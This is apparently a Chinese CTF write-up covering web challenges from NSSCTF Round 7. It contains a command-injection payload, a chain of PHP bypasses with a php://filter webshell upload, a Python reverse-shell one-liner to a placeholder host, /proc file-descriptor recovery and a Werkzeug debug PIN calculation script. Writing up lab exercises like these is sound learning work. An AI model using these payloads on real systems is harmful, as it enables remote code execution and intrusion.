前言

这个比赛好像是正月初几举办的,当时还报了名,可到了年后玩嗨了,给忘了。不用慌,题目环境还是有的,就花时间做了做,web四道题,严格来说,只做出了一道半。里面有些题还是比较有意思的,很有必要记录下来。

ec_RCE

算是签到题,考察多参数的命令执行。题目给了源码:

<?PHP
if(!isset($_POST["action"]) && !isset($_POST["data"]))
show_source(__FILE__);
putenv('LANG=zh_TW.utf8');

$action = $_POST["action"];
$data = "'".$_POST["data"]."'";

$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");
echo $output;
?>

我们需要将shell_exec去执行我们的命令,配合我们可控的两个参数将data拼接的单引号给闭合掉,有点像字符逃逸那味儿了,然后我们传入的字符串就能当做shell命令执行了。payload为

action=1'&data=;cat /flag'

0o0

打开题目啥都没有,直接扫 一波目录。有DS_Store这个文件

信息泄露,使用ds_store_exp发现存在Ns_SCtF.php,访问得到题目源码:

<?php
error_reporting(0);
highlight_file(__FILE__);

$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
}

代码忒长了吧。看第一个限制:

if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {

直接数组绕过,看第二个限制;

if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {

in_array函数没有设置type参数,不严格要求被检索数据的类型,所以让$NsScTF传入1q就可以了,这里的一为字符串类型。那么看第三层限制:

if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {

直接用伪协议,data://text/plain,第四层限制为:

if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {

这可以算做两层限制了,我们需要将nss_ctfer.vip改为nss[ctfer.vip,针对于url,一些如[.的敏感字符会被替换为下划线,但是只会替换一次。利用科学技术法来绕过intval函数,$NSScTf传入114514e1。第五层限制为

if ($nss && $nSscTF === "NSSRound7") {

没啥好说的,$nss=1,$nSscTF=NSSRound7。这里关键部分在文件上传。这里检索上传文件名要有png,这个好绕,只要存在即可。最后就是上传木马要绕过死亡die(),我们将一句话木马base64编码后拼接在后面,另外利用伪协议将文件内容全部base64解码,die就会变成乱码了。不过值得注意的是,base64是四位一组编码,前面拼接的<?php die(“Round7 do you like”);除去字符一共有21个,所以我们需要在后面添加aaa即可,看个例子:

GET传参为:

Ns_SCtF.php?NSSCTF[]=1&NsSCTF[]=2&NsScTf=data://text/plain;base64,V2VsY29tZSB0byBSb3VuZDchISE=&NsScTF=1q&nss[ctfer.vip=1&NSScTf=114514e1&nSScTF=1&nSscTF=NSSRound7

文件名为:

php://filter/convert.base64-decode/resource=1.png.php

最后别忘了url编码一下。

成功植入木马,执行命令得到flag。

本题的php小tips挺多的,值得记录的好题。

ShadowFlag

打开直接出现python源代码。

from flask import Flask, request
import os
from time import sleep

app = Flask(__name__)

flag1 = open("/tmp/flag1.txt", "r")
with open("/tmp/flag2.txt", "r") as f:
flag2 = f.read()
tag = False

@app.route("/")
def index():
with open("app.py", "r+") as f:
return f.read()

@app.route("/shell", methods=['POST'])
def shell():
global tag
if tag != True:
global flag1
del flag1
tag = True
os.system("rm -f /tmp/flag1.txt /tmp/flag2.txt")
action = request.form["act"]
if action.find(" ") != -1:
return "Nonono"
else:
os.system(action)
return "Wow"

@app.errorhandler(404)
def error_date(error):
sleep(5)
return "扫扫扫,扫啥东方明珠呢[怒]"

if __name__ == "__main__":
app.run()

可能有师傅会头疼这个缩进问题,其实游览器右键查看源代码就有缩进好的,不需要我们再弄了。看代码,最后我们能利用的地方就是os.system函数,直接传ls执行下命令,无回显。既然无回显就反弹一下shell吧,利用nc,bash都没用,无奈,网上翻看wp,直接找到出题人的wp了。GitHub - Randark-JMT/NSSCTF-Round_v7-ShadowFlag

这里要用到python的反弹shell,师傅的视频中也讲过本题是基于python3.10基础镜像,是没有nc,curl等工具的。

python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("xx.xx.xx.x",2400));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

在代码中过滤了空格,在linux中我们可以用%09代替空格,开启监听,成功反弹shell。

在我们访问路由的时候,它会把flag1和flag2的txt文件以及flag1变量删除,怎么找到flag1,看这行代码:

flag1 = open("/tmp/flag1.txt", "r")

此文件读取没有用close关闭,打开了一个进程没有关闭,即使内容被删除,在进程中还是有缓存的。这就要考察到proc文件系统。

打开一个文件就会创建一个进程,就会返回一个文件描述符,而这个文件描述符就指向这个打开的文件。很巧的是这题打开了flag1.txt却没有关闭,我们可以通过文件描述符来获取到被删除文件的内容。linux的/proc目录是一个伪文件系统,linux一切皆文件,linux常见的进程也要变成文件存储在/proc目录下。在/proc目录下有很多以数字为名字的文件夹,就是进程运行时对应的进程号,而在这些文件夹下有一个fd文件夹,用于存放这个进程所拥有的文件描述符

通过读取当前进程的文件描述符可以获取flag的内容,

成功获得一部分flag。很可惜的是flag2关闭了进程,但是flag2变量仍然存在当前运行代码的堆栈中。其思路就是对其运行代码进行调试获取flag2。在shell路由下只post接收act参数,传入一个未知参数使其报错。

开启了dubug调试页面,接下来就是算pin了。利用最新的算pin脚本,参考资料:flask的pin码攻击——新版本下pin码的生成方式,接下来就在shell中读取相关信息:

username:ctf
modname:flask.app(默认)
appname:Flask(默认)
文件绝对路径:/usr/local/lib/python3.10/site-packages/flask/app.py
moddir:02:42:ac:02:9a:78 #/sys/class/net/eth0/address
machine_id:由于docker机没有/etc/machine-id,读取/proc/sys/kernel/random/boot_id和/proc/self/cgroup
/proc/sys/kernel/random/boot_id:e2a9f272-7959-44cc-86ce-6cfd758857a7
/proc/self/cgroup:9d61b3c56d575b4aa612ade3cbbee9cfd3b0ea6b9e89b322a422cd672373044c

就利用上面博客的py脚本,将读取的信息进行替换,得到如下脚本:

import hashlib
from itertools import chain
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
str(int("02:42:ac:02:9a:78".replace(":",""),16)),# str(uuid.getnode()), /sys/class/net/ens33/address
"e2a9f272-7959-44cc-86ce-6cfd758857a7"+"9d61b3c56d575b4aa612ade3cbbee9cfd3b0ea6b9e89b322a422cd672373044c"# get_machine_id(), /etc/machine-id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)

运行算出pin,开启debug调试模式,调试flag2,得到另一半flag值。

拼接得到完整flag。

结语

还有最后一道题就是考察tarfile文件覆盖漏洞,比较老的CVE了。偷个懒,不想花时间复现了。